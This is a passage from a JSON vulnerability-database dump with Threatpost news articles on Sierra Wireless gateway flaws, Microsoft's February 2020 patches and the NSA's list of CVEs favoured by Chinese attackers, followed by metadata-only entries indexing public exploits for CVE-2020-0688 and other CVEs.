vulnerability ([CVE-2018-4061](<https://www.talosintelligence.com/reports/TALOS-2018-0746>)), CVSS score of 9.9, which exists in the ACEManager iplogging.cgi functionality. An authenticated attacker can send a specially crafted HTTP request to inject arbitrary commands, resulting in arbitrary command execution as root. This bug most likely also affects the also most likely affects the AirLink GX450 product, Cisco added.\n\nAnother problem arises from having hard-coded credentials ([CVE-2018-4062](<https://www.talosintelligence.com/reports/TALOS-2018-0747>)) in the SNMPD function of the gateway.\n\n\u201cActivating SNMPD outside of the WebUI can cause the activation of the hard-coded credentials, resulting in the exposure of a privileged user,\u201d according to Cisco. \u201cAn attacker can activate SNMPD without any configuration changes to trigger this vulnerability.\u201d\n\nMeanwhile, there are four information-disclosure vulnerabilities. For one, the ACEManager authentication functionality is done in plaintext XML to the web server ([CVE-2018-4069](<https://www.talosintelligence.com/reports/TALOS-2018-0754>)), so an attacker can listen to network traffic upstream from the device to sniff out credentials.\n\nThe other three ([CVE-2018-4067](<https://www.talosintelligence.com/reports/TALOS-2018-0752>), [CVE-2018-4068](<https://www.talosintelligence.com/reports/TALOS-2018-0753>) and [CVE-2018-4070/CVE-2018-4071](<https://www.talosintelligence.com/reports/TALOS-2018-0755>)) can expose internal paths and files; the default configuration for the device; or plain text passwords and SNMP community strings. An attacker can send an unauthenticated HTTP request to trigger any of these.\n\nOther bugs include a permission assignment vulnerability ([CVE-2018-4072/CVE-2018-4073](<https://www.talosintelligence.com/reports/TALOS-2018-0756>)), a cross-site scripting (CSS) vulnerability ([CVE-2018-4065](<https://www.talosintelligence.com/reports/TALOS-2018-0750>)) and a cross-site request forgery (CSRF) vulnerability ([CVE-2018-4066](<https://www.talosintelligence.com/reports/TALOS-2018-0751>)).\n\nThe gateway is billed as a \u201ca reliable, secure LTE gateway,\u201d and is one of the first-to-market to capitalize on the deployment of next-generation 5G mobile networks, which are expected to support [a whole raft of new use cases](<https://threatpost.com/5g-security/140664/>), especially in the industrial IoT space. But as these flaws illustrate, vulnerabilities come with any new territory.\n\n\u201cHistory has shown us that when we expand our computing power and connectivity, we open up a new landscape for attackers to use against us, with prime examples of this being the cloud and connected IoT devices,\u201d Steve McGregory, senior director of application and threat intelligence at Ixia, told Threatpost. He added, \u201cWe are racing into 5G just as we did with IoT and the cloud\u2026if that trend is to continue, then we must plan and prepare.\u201d\n", "cvss3": {}, "published": "2019-04-26T16:12:06", "type": "threatpost", "title": "Critical Flaws in Sierra Wireless 5G Gateway Allow RCE, Command Injection", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-4061", "CVE-2018-4062", "CVE-2018-4063", "CVE-2018-4064", "CVE-2018-4065", "CVE-2018-4066", "CVE-2018-4067", "CVE-2018-4068", "CVE-2018-4069", "CVE-2018-4070", "CVE-2018-4071", "CVE-2018-4072", "CVE-2018-4073", "CVE-2020-0688"], "modified": "2019-04-26T16:12:06", "id": "THREATPOST:142DAF150C2BF9EB70ECE95F46939532", "href": "https://threatpost.com/critical-flaws-sierra-wireless-5g/144142/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-14T22:30:41", "description": "Microsoft has issued one of its largest Patch Tuesday updates for the shortest month of the year, addressing 99 security vulnerabilities across a range of products. Twelve of the bugs are listed as critical \u2013 and the rest are rated as being important.\n\nThe update includes a patch for the [zero-day memory-corruption vulnerability disclosed in late January](<https://threatpost.com/microsoft-zero-day-actively-exploited-patch/152018/>) that\u2019s under active attack. The bug tracked as [CVE-2020-0674](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0674>) is a critical flaw for most Internet Explorer versions, allowing remote code-execution and complete takeover.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cThis browser bug impacts IE and the other programs that rely on the Trident rendering engine,\u201d explained Dustin Childs, researcher with Trend Micro\u2019s Zero Day Initiative, in his[ Patch Tuesday analysis](<https://www.thezdi.com/blog/2020/2/11/the-february-2020-security-update-review>). \u201cAttackers can execute code on affected systems if a user browses to a specially crafted website. Even if you don\u2019t use IE, you could still be affected by this bug though embedded objects in Office documents. Considering the listed workaround \u2013 disabling jscript.dll \u2013 breaks a fair amount of functionality, you should prioritize the testing and deployment of this patch.\u201d\n\nAlso of note: February 2020 marks the first security updates for the new Edge Chromium browser edition. There were 41 vulnerabilities fixed in the Chromium-based Edge version that were technically not part of Patch Tuesday \u2013 which brings the total number of bugs fixed by Microsoft this week to 140.\n\n## Critical Patches for February 2020\n\nThe update includes a wealth of \u201cstandout\u201d bugs, according to researcher analyses, including several critical vulnerabilities in addition to the zero day.\n\nAccording to Jay Goodman, technical marketing manager at Automox, bugs to watch include [CVE-2020-0618](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0618>) and [CVE-2020-0662](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0662>) (only the latter is listed as critical), which are nearly identical remote code-execution (RCE) bugs in SQL Server 2012, 2014 and 2016 (32 and 64 bit) and Windows 7, 8.1, 10, Server 2008, 2012, 2016 and 2019, respectively.\n\n\u201cThese vulnerabilities allow attackers to access a system and read or delete contents, make changes or directly run code on the system,\u201d he said via email. \u201cThis gives an attacker quick and easy access to not only your organization\u2019s most critical data stored in the SQL server but also a platform to perform additional malicious attacks against other devices in your environment.\u201d\n\nThe critical bug can lead to RCE if an attacker has Domain User credentials, according to Jimmy Graham, researcher with Qualys.\n\n\u201cWhile this vulnerability is labeled as \u2018exploitation less likely,\u2019 this vulnerability can be attacked over the network with no user interaction according to the CVSS Vector Strings set by Microsoft,\u201d he explained in [an analysis](<https://blog.qualys.com/laws-of-vulnerabilities/2020/02/11/february-2020-patch-tuesday-99-vulns-12-critical-patch-for-ie-0-day-exchange-vuln-adobe-vulns>). \u201cThe impacted service is not stated in the bulletin. Based on the information given, this should be prioritized across all Windows servers and workstations.\u201d\n\nAdditionally, two critical remote code-execution vulnerabilities in Remote Desktop ([CVE-2020-0681](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0681>) and [CVE-2020-0734](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0734>)) were patched, and are likely to be exploited, according to Microsoft.\n\n\u201cExploitation of these requires an attacker to either persuade their victim into connecting to a vulnerable Remote Desktop Server operated by the attacker, or plant malicious code on a compromised Remote Desktop Server and wait for the vulnerable user to connect to it,\u201d Satnam Narang, senior research engineer at Tenable, explained via email.\n\nRichard Tsang, senior software engineer at Rapid7, told Threatpost that CVE-2020-0734 is a critical Windows Remote Desktop Client vulnerability that exists in how connection requests are handled.\n\n\u201cThe stream of [Windows Remote Desktop vulnerabilities continues](<https://threatpost.com/wormable-remote-desktop-bugs-august-patch-tuesday/147302/>), albeit having slowed down,\u201d he said. \u201cIn this scenario, a compromised legitimate server (or a malicious server) can be used to trigger the remote code execution. Given the extra eyes on RDP vulnerabilities of late, prioritizing operating system patches on this front would be a prudent move.\u201d\n\nOne other critical bug to note is [CVE-2020-0729](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0729>), a .LNK RCE vulnerability, which Childs said is similar to the bug that was exploited by [the Stuxnet malware](<https://threatpost.com/stuxnet-apts-gossip-girl/143595/>). Stuxnet was used to take out Iranian nuclear enrichment facilities in 2012. The new bug can also be used to attack air-gapped \u201csecure\u201d systems, he said, by exploiting shortcut .LNK files.\n\n\u201cBugs impacting link files (.LNK) never fail to amaze me,\u201d said Childs. \u201cAn attacker could use this vulnerability to get code execution by having an affected system process a specially crafted .LNK file. This could be done by convincing a user to open a remote share, or \u2013 as has been seen in the past \u2013 placing the .LNK file on a USB drive and having the user open it. It\u2019s a handy way to exploit an air-gapped system.\u201d\n\nThe other critical bugs fixed by Microsoft in February are CVE-2020-0738, a Media Foundation Memory Corruption Vulnerability allowing RCE; and several Scripting Engine Memory Corruption Vulnerabilities allowing RCE. This latter group includes CVE-2020-0710, CVE-2020-0711, CVE-2020-0712, CVE-2020-0713, CVE-2020-0673 and CVE-2020-0767.\n\n## Important-Rated Patches\n\nAs for the important-rated patches, the volume of elevation-of-privilege (EoP) bugs being patched is \u201csomewhat staggering,\u201d ZDI\u2019s Childs noted, with 55 patches in all. Also, information-disclosure bugs are well-represented, with 16 patches in February, including a publicly known bug ([CVE-2020-0706](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0706>)) impacting IE and Edge. Childs said that six of them exist in the Cryptography Next Generation (CNG) portion of the Windows Key Isolation service.\n\nChilds also flagged [CVE-2020-0688](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>), a memory-corruption bug in Microsoft Exchange, which could be trivially exploited to grant an attacker the ability to create a new account, install programs, and view, change or delete data.\n\n\u201cThis code-execution bug in Exchange is only listed as important, but you should treat it as a critical-rated vulnerability,\u201d he said. \u201cAn attacker could gain code execution on affected Exchange servers by sending a specially crafted email. No other user interaction is required. The code execution occurs at System-level permissions, so the attacker could completely take control of an Exchange server through a single email.\u201d\n\n## Racing Against Exploitation\n\nMicrosoft\u2019s February update is the largest in quite some time, researchers said, with flaws disclosed for Windows, Edge (EdgeHTML-based), ChakraCore, Internet Explorer (IE), SQL Server, Exchange Server, Office, Office Services and Web Apps, Azure DevOps Server, Team Foundation Server and the Microsoft Malware Protection Engine.\n\nAnd, five of the CVEs (including the previously mentioned zero day and the info-disclosure bug affecting browsers) have been publicly disclosed \u2014 and thus offer a threat actors a head start on exploitation.\n\n\u201cOverall, this is a very heavy Patch Tuesday on the Microsoft end. The race to patch critical vulnerabilities on your systems within the next 72 hours is on,\u201d Goodman advised. \u201cAttackers will have no shortage of exploitable vulnerabilities and new attack vectors to bring to bear in the coming days with nearly every build of Windows accounted for with critical vulnerabilities.\u201d\n\nAlso, for the first time, Microsoft is not updating Windows 7 this month.\n\n\u201cToday is a significant Patch Tuesday, marking the first time there will be no patches for Windows 7,\u201d Rui Lopes, engineering and technical support director at Panda Security, told Threatpost. \u201cHowever, that doesn\u2019t mean there aren\u2019t vulnerabilities. In fact, today\u2019s release features several critical and zero-day patches to be deployed, so any machines still running Windows 7 are now, by default, exceptionally vulnerable\u2014providing open doors for hackers to walk through and exploit. Therefore, if you have any devices running Windows 7, it is top priority to update them immediately.\u201d\n\nThe good news, according to Todd Schell, senior product manager for security at Ivanti, is that most of the CVEs can be resolved by applying just a few Microsoft updates.\n\n\u201cOn average, your OS updates will resolve around 50 CVEs,\u201d he explained, via email. \u201cThe normal updates still apply. OS, browsers, and Office will resolve most of your vulnerabilities from the Microsoft side. SQL and Exchange Admins do get a bit of extra work this month as both of those products are included in the updates released\u2026[but with] a couple of patches per system you can take the teeth out of the majority of the risk this month.\u201d\n\nOne vulnerability worth mentioning in this context this month is [CVE-2020-0689](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0689>), a security feature bypass that was also previously disclosed; an attacker could bypass secure boot and load untrusted software.\n\nBoth Childs and Tsang noted that while the vulnerability itself is not that interesting, what stands out is the fact that the remediation steps are different from the usual patching practices.\n\n\u201cWhereas most operating system-level vulnerabilities are bundled in either a Security-Only/Monthly Rollup or Cumulative Update stream, this fix is segregated out in separate KB patches that also have explicit Servicing Stack Update prerequisites,\u201d Tsang said. \u201cThe idea that there\u2019s a change in process, in itself, is something to note.\u201d\n\nChilds added, \u201cWhile this is certainly a bug to scrutinize, it\u2019s compounded by a non-standard patching process. This month\u2019s servicing stack must first be applied, then additional standalone security updates need to be installed. If you have the Windows Defender Credential Guard (Virtual Secure Mode) enabled, you\u2019ll need to go through two additional reboots as well. All this is needed to block impacted third-party bootloaders.\u201d\n\n**Learn how Operational Technology and Information Technology systems are merging and changing security playbooks in this free Threatpost Webinar. Join us **[**Wednesday, Feb. 19 at 2 p.m. ET**](<https://attendee.gotowebinar.com/register/2652328115100076035?source=art>)** when a panel of OT and IT security experts will discuss how this growing trend is shaping security approaches for IoT and 5G rollouts. This webinar is for security and DevOps engineers, IoT edge developers and security executives.**\n", "cvss3": {}, "published": "2020-02-11T22:06:57", "type": "threatpost", "title": "Microsoft Addresses Active Attacks, Air-Gap Danger with 99 Patches", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0618", "CVE-2020-0662", "CVE-2020-0673", "CVE-2020-0674", "CVE-2020-0681", "CVE-2020-0688", "CVE-2020-0689", "CVE-2020-0706", "CVE-2020-0710", "CVE-2020-0711", "CVE-2020-0712", "CVE-2020-0713", "CVE-2020-0729", "CVE-2020-0734", "CVE-2020-0738", "CVE-2020-0767", "CVE-2020-5135"], "modified": "2020-02-11T22:06:57", "id": "THREATPOST:333795A46E195AC657D3C50CFAFE7B55", "href": "https://threatpost.com/microsoft-active-attacks-air-gap-99-patches/152807/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-22T15:51:14", "description": "Chinese state-sponsored cyberattackers are actively compromising U.S. targets using a raft of known security vulnerabilities \u2013 with a Pulse VPN flaw claiming the dubious title of \u201cmost-favored bug\u201d for these groups.\n\nThat\u2019s according to the National Security Agency (NSA), which released a \u201ctop 25\u201d list of the exploits that are used the most by China-linked advanced persistent threats (APT), which include the likes of [Cactus Pete](<https://threatpost.com/cactuspete-apt-toolset-respionage-targets/158350/>), [TA413,](<https://threatpost.com/chinese-apt-sepulcher-malware-phishing-attacks/158871/>) [Vicious Panda](<https://threatpost.com/coronavirus-apt-attack-malware/153697/>) and [Winniti](<https://threatpost.com/black-hat-linux-spyware-stack-chinese-apts/158092/>).\n\nThe Feds [warned in September](<https://threatpost.com/hackers-gov-microsoft-exchange-f5-exploits/159226/>) that Chinese threat actors had successfully compromised several government and private sector entities in recent months; the NSA is now driving the point home about the need to patch amid this flurry of heightened activity.[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cMany of these vulnerabilities can be used to gain initial access to victim networks by exploiting products that are directly accessible from the internet,\u201d warned the NSA, in its Tuesday [advisory](<https://www.nsa.gov/News-Features/News-Stories/Article-View/Article/2387347/nsa-warns-chinese-state-sponsored-malicious-cyber-actors-exploiting-25-cves/>). \u201cOnce a cyber-actor has established a presence on a network from one of these remote exploitation vulnerabilities, they can use other vulnerabilities to further exploit the network from the inside.\u201d\n\nAPTs \u2013 Chinese and otherwise \u2013 have ramped up their cyberespionage efforts in the wake of the pandemic as well as in the leadup to the U.S. elections next month. But Chlo\u00e9 Messdaghi, vice president of strategy at Point3 Security, noted that these vulnerabilities contribute to an ongoing swell of attacks.\n\n\u201cWe definitely saw an increase in this situation last year and it\u2019s ongoing,\u201d she said. \u201cThey\u2019re trying to collect intellectual property data. Chinese attackers could be nation-state, could be a company or group of companies, or just a group of threat actors or an individual trying to get proprietary information to utilize and build competitive companies\u2026in other words, to steal and use for their own gain.\u201d\n\n## **Pulse Secure, BlueKeep, Zerologon and More**\n\nPlenty of well-known and infamous bugs made the NSA\u2019s Top 25 cut. For instance, a notorious Pulse Secure VPN bug (CVE-2019-11510) is the first flaw on the list.\n\nIt\u2019s an [arbitrary file-reading flaw](<https://www.tenable.com/blog/cve-2019-11510-critical-pulse-connect-secure-vulnerability-used-in-sodinokibi-ransomware>) that opens systems to exploitation from remote, unauthenticated attackers. In April of this year, the Department of Homeland Security\u2019s Cybersecurity and Infrastructure Security Agency (CISA) [warned that](<https://threatpost.com/dhs-urges-pulse-secure-vpn-users-to-update-passwords/154925/>) attackers are actively using the issue to steal passwords to infiltrate corporate networks. And in fact, this is the bug at the heart of the [Travelex ransomware fiasco](<https://threatpost.com/sodinokibi-ransomware-travelex-fiasco/151600/>) that hit in January.\n\nPulse Secure issued a patch in April 2019, but many companies impacted by the flaw still haven\u2019t applied it, CISA warned.\n\nAnother biggie for foreign adversaries is a critical flaw in F5 BIG-IP 8 proxy/load balancer devices ([CVE-2020-5902](<https://threatpost.com/thousands-f5-big-ip-users-takeover/157543/>)). This remote code-execution (RCE) bug exists in the Traffic Management User Interface (TMUI) of the device that\u2019s used for configuration. It allows complete control of the host machine upon exploitation, enabling interception and redirection of web traffic, decryption of traffic destined for web servers, and serving as a hop-point into other areas of the network.\n\nAt the end of June, F5 issued urgent patches the bug, which has a CVSS severity score of 10 out of 10 \u201cdue to its lack of complexity, ease of attack vector, and high impacts to confidentiality, integrity and availability,\u201d researchers said at the time. Thousands of devices were shown to be vulnerable in a Shodan search in July.\n\nThe NSA also flagged several vulnerabilities in Citrix as being Chinese faves, including CVE-2019-19781, which was revealed last holiday season. The bug exists in the Citrix Application Delivery Controller (ADC) and Gateway, a purpose-built networking appliance meant to improve the performance and security of applications delivered over the web. An exploit can lead to RCE without credentials.\n\nWhen it was originally disclosed in December, the vulnerability did not have a patch, and Citrix had to [scramble to push fixes out](<https://threatpost.com/citrix-patch-rollout-critical-rce-flaw/152041/>) \u2013 but not before public proof-of-concept (PoC) exploit code emerged, along with active exploitations and mass scanning activity for the vulnerable Citrix products.\n\nOther Citrix bugs in the list include CVE-2020-8193, CVE-2020-8195 and CVE-2020-8196.\n\nMeanwhile, Microsoft bugs are well-represented, including the [BlueKeep RCE bug](<https://threatpost.com/one-million-devices-open-to-wormable-microsoft-bluekeep-flaw/145113/>) in Remote Desktop Services (RDP), which is still under active attack a year after disclosure. The bug tracked as CVE-2019-0708 can be exploited by an unauthenticated attacker connecting to the target system using RDP, to send specially crafted requests and execute code. The issue with BlueKeep is that researchers believe it to be wormable, which could lead to a WannaCry-level disaster, they have said.\n\nAnother bug-with-a-name on the list is [Zerologon](<https://threatpost.com/ryuk-ransomware-gang-zerologon-lightning-attack/160286/>), the privilege-escalation vulnerability that allows an unauthenticated attacker with network access to a domain controller to completely compromise all Active Directory identity services. It was patched in August, but many organizations remain vulnerable, and the DHS recently [issued a dire warning](<https://threatpost.com/dire-patch-warning-zerologon/159404/>) on the bug amid a tsunami of attacks.\n\nThe very first bug ever reported to Microsoft by the NSA, CVE-2020-0601, is also being favored by Chinese actors. This spoofing vulnerability, [patched in January,](<https://threatpost.com/microsoft-patches-crypto-bug/151842/>) exists in the way Windows CryptoAPI (Crypt32.dll) validates Elliptic Curve Cryptography (ECC) certificates. An attacker could exploit the vulnerability by using a spoofed code-signing certificate to sign a malicious executable, making it appear that the file was from a trusted, legitimate source.\n\nTwo proof-of-concept (PoC) exploits were publicly released just a week after Microsoft\u2019s January Patch Tuesday security bulletin addressed the flaw.\n\nThen there\u2019s a high-profile Microsoft Exchange validation key RCE bug ([CVE-2020-0688](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>)), which stems from the server failing to properly create unique keys at install time.\n\nIt was fixed as part of Microsoft\u2019s [February Patch Tuesday](<https://threatpost.com/microsoft-active-attacks-air-gap-99-patches/152807/>) updates \u2013 and [admins in March were warned](<https://threatpost.com/microsoft-exchange-server-flaw-exploited-in-apt-attacks/153527/>) that unpatched servers are being exploited in the wild by unnamed APT actors. But as of Sept. 30, at least 61 percent of Exchange 2010, 2013, 2016 and 2019 servers [were still vulnerable](<https://threatpost.com/microsoft-exchange-exploited-flaw/159669/>) to the flaw.\n\n## **The Best of the Rest**\n\nThe NSA\u2019s Top 25 list covers plenty of ground, including a [nearly ubiquitous RCE bug](<https://threatpost.com/critical-microsoft-rce-bugs-windows/145572/>) (CVE-2019-1040) that, when disclosed last year, affected all versions of Windows. It allows a man-in-the-middle attacker to bypass the NTLM Message Integrity Check protection.\n\nHere\u2019s a list of the other flaws:\n\n * CVE-2018-4939 in certain Adobe ColdFusion versions.\n * CVE-2020-2555 in the Oracle Coherence product in Oracle Fusion Middleware.\n * CVE-2019-3396 in the Widget Connector macro in Atlassian Confluence Server\n * CVE-2019-11580 in Atlassian Crowd or Crowd Data Center\n * CVE-2020-10189 in Zoho ManageEngine Desktop Central\n * CVE-2019-18935 in Progress Telerik UI for ASP.NET AJAX.\n * CVE-2019-0803 in Windows, a privilege-escalation issue in the Win32k component\n * CVE-2020-3118 in the Cisco Discovery Protocol implementation for Cisco IOS XR Software\n * CVE-2020-8515 in DrayTek Vigor devices\n\nThe advisory also covers three older bugs: One in Exim mail transfer (CVE-2018-6789); one in Symantec Messaging Gateway (CVE-2017-6327); and one in the WLS Security component in Oracle WebLogic Server (CVE-2015-4852).\n\n\u201cWe hear loud and clear that it can be hard to prioritize patching and mitigation efforts,\u201d NSA Cybersecurity Director Anne Neuberger said in a media statement. \u201cWe hope that by highlighting the vulnerabilities that China is actively using to compromise systems, cybersecurity professionals will gain actionable information to prioritize efforts and secure their systems.\u201d\n", "cvss3": {}, "published": "2020-10-21T20:31:17", "type": "threatpost", "title": "Bug Parade: NSA Warns on Cresting China-Backed Cyberattacks", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2015-4852", "CVE-2017-6327", "CVE-2018-4939", "CVE-2018-6789", "CVE-2019-0708", "CVE-2019-0803", "CVE-2019-1040", "CVE-2019-11510", "CVE-2019-11580", "CVE-2019-18935", "CVE-2019-19781", "CVE-2019-3396", "CVE-2020-0601", "CVE-2020-0688", "CVE-2020-10189", "CVE-2020-2555", "CVE-2020-3118", "CVE-2020-5902", "CVE-2020-8193", "CVE-2020-8195", "CVE-2020-8196", "CVE-2020-8515"], "modified": "2020-10-21T20:31:17", "id": "THREATPOST:F8F0749C57FDD3CABE842BDFEAD33452", "href": "https://threatpost.com/bug-nsa-china-backed-cyberattacks/160421/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "githubexploit": [{"lastseen": "2021-12-10T14:51:57", "description": "<b>[CVE-2020-0688] Microsoft Exchange Server Fixed Cryptographic...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-08-17T12:41:51", "type": "githubexploit", "title": "Exploit for Use of Hard-coded Credentials in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "2021-08-19T10:39:41", "id": "BE2B1B45-11AE-56F2-A5B4-2497BAE3B016", "href": "", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2021-12-10T14:57:14", "description": "[ - RED TEAM [MOD...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-06-12T08:28:35", "type": "githubexploit", "title": "Exploit for Use of Hard-coded Credentials in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "2022-03-21T03:35:16", "id": "AC9BE6BA-8352-57D6-80E3-8BB62A0D31C2", "href": "", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-05-08T22:59:50", "description": "# cve-2020-0688\nUsage:\n```\nusage: cve-2020-0688.py [-h] -s SERVE...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-02-27T02:54:27", "type": "githubexploit", "title": "Exploit for Use of Hard-coded Credentials in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "2022-05-08T15:56:09", "id": "AAC2853C-A655-5E80-9262-A654102B874A", "href": "", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-03-25T01:23:07", "description": "# ecp_slap\nThis proof-of-concept for [CVE-2020-0688](https://cve...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-10-23T01:18:13", "type": "githubexploit", "title": "Exploit for Use of Hard-coded Credentials in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "2022-03-25T01:04:55", "id": "8C937DCD-4090-5A44-9361-4D9ECF545843", "href": "", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-04-02T05:37:11", "description": "# TOP\nTOP All bugbounty pentesting CVE-2022- POC Exp Things\n## ...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-03-19T01:54:15", "type": "githubexploit", "title": "Exploit for Vulnerability in Oracle Fusion Middleware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": true, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-4210", "CVE-2016-0638", "CVE-2016-3510", "CVE-2016-5195", "CVE-2017-10271", "CVE-2017-11882", "CVE-2017-3248", "CVE-2017-3506", "CVE-2018-0296", "CVE-2018-0802", "CVE-2018-0886", "CVE-2018-1002105", "CVE-2018-10933", "CVE-2018-11776", "CVE-2018-13379", "CVE-2018-13382", "CVE-2018-14847", "CVE-2018-15473", "CVE-2018-15982", "CVE-2018-20250", "CVE-2018-2628", "CVE-2018-2893", "CVE-2018-2894", "CVE-2018-3191", "CVE-2018-3245", "CVE-2018-3252", "CVE-2018-7600", "CVE-2018-8120", "CVE-2018-8174", "CVE-2018-8453", "CVE-2018-8581", "CVE-2018-8897", "CVE-2018-9995", "CVE-2019-0192", "CVE-2019-0604", "CVE-2019-0708", "CVE-2019-0841", "CVE-2019-1003000", "CVE-2019-1003001", "CVE-2019-1003002", "CVE-2019-1040", "CVE-2019-11043", 